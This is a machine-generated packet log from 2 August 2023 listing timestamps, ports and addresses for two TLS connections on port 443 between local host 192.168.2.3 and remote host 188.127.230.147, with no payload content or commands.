Aug 2, 2023 10:13:02.746721983 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746732950 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746772051 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.746778965 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.746813059 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.747235060 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.795164108 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795207977 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795300961 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795356989 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795399904 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.795404911 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795428991 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795454025 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795469999 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.795542002 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795542955 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.795562983 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795594931 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795634031 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.795644999 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795665026 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.795690060 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795721054 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795761108 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.795768976 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795830011 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.795835018 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795850039 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795881033 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795907974 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.795913935 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795942068 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.795964956 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.795995951 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796044111 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796053886 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796078920 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796092987 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796112061 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796139956 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796145916 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796188116 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796196938 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796230078 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796261072 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796267986 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796308041 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796320915 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796359062 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796391964 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796396971 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796431065 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796446085 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796469927 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796528101 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796534061 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796554089 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796566963 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796585083 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796617031 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796623945 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796634912 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796670914 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796672106 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796700001 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796749115 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796755075 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796797991 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796894073 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796920061 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.796941996 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.796952009 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797014952 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797029972 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797060013 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797106981 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797112942 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797143936 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797146082 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797163010 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797167063 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797173023 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797239065 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797283888 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797291040 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797321081 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797353029 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797369003 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797419071 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797452927 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797458887 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797477007 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797489882 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797504902 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797514915 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797521114 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797571898 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797585011 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797609091 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797615051 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797631979 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797656059 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797684908 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797700882 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797707081 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797735929 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797760010 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797765970 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797790051 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797808886 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.797810078 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:02.797859907 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.820466995 CEST	49699	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:02.820506096 CEST	443	49699	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:03.714533091 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:03.714596987 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:03.714683056 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:03.884221077 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:03.884263992 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.010348082 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.010498047 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.013091087 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.013115883 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.013458014 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.020302057 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.062814951 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.187798977 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.187830925 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.187890053 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.188004971 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.188024044 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.188052893 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.188163996 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.248081923 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.248119116 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.248214006 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.248228073 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.248321056 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.248354912 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.248399019 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.248409033 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.248425961 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.248472929 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.248497963 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.248538017 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.248578072 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.248588085 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.248644114 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.248970032 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.305704117 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.305738926 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.305895090 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.305917025 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.305994987 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.306024075 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.306092024 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.306102991 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.306130886 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.306179047 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.306457996 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.306484938 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.306557894 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.306566954 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.306596994 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.306627035 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.306807041 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.306829929 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.306896925 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.306907892 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.306950092 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.306981087 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.307199955 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.307228088 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.307284117 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.307293892 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.307336092 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.307360888 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.319749117 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.341536999 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.341572046 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.341680050 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.341694117 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.341767073 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.341795921 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.341852903 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.341862917 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.341876984 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.341906071 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.365540028 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.365570068 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.365649939 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.365667105 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.366038084 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.366075993 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.366096020 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.366111994 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.366125107 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.366164923 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.366189957 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.366525888 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.366559029 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.366604090 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.366617918 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.366641998 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.366683006 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.367058039 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.367085934 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.367139101 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.367155075 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.367183924 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.367209911 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.367517948 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.367551088 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.367599010 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.367611885 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.367643118 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.367667913 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.368021965 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.368046045 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.368103981 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.368118048 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.368149042 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.368177891 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.368562937 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.368590117 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.368642092 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.368654013 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.368678093 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.368702888 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.369059086 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.369086027 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.369136095 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.369147062 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.369175911 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.369203091 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.369609118 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.369637012 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.369724035 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.369736910 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.370074987 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.370126009 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.370167017 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.370181084 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.370201111 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.370220900 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.399475098 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.399513960 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.399579048 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.399593115 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.399626017 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.399638891 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.399648905 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.399656057 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.399679899 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.399691105 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.399730921 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.399738073 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.399759054 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.399775982 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.399790049 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.399810076 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.399844885 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.399852037 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.399879932 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.399900913 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.428143024 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.428189993 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.428241968 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.428255081 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.428284883 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.428308964 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.428469896 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.428495884 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.428545952 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.428555012 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.428599119 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.428670883 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.428695917 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.428746939 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.428756952 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.428772926 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.428812027 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429035902 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429063082 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429126024 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429136038 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429177046 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429202080 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429243088 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429280043 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429326057 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429336071 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429366112 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429387093 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429430008 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429456949 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429501057 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429508924 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429544926 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429564953 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429693937 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429718971 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429766893 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429775000 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429805040 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429830074 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429867029 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429893017 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429935932 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429944038 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.429972887 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.429991961 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.430051088 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.430073977 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.430119991 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.430129051 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.430208921 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.430208921 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.430250883 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.430270910 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.430320978 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.430329084 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.430356026 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.430383921 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.430421114 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.430469036 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.430485010 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.430495024 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.430527925 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.430555105 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:04.431235075 CEST	49700	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:04.442104101 CEST	49700	443	192.168.2.3	188.127.230.147
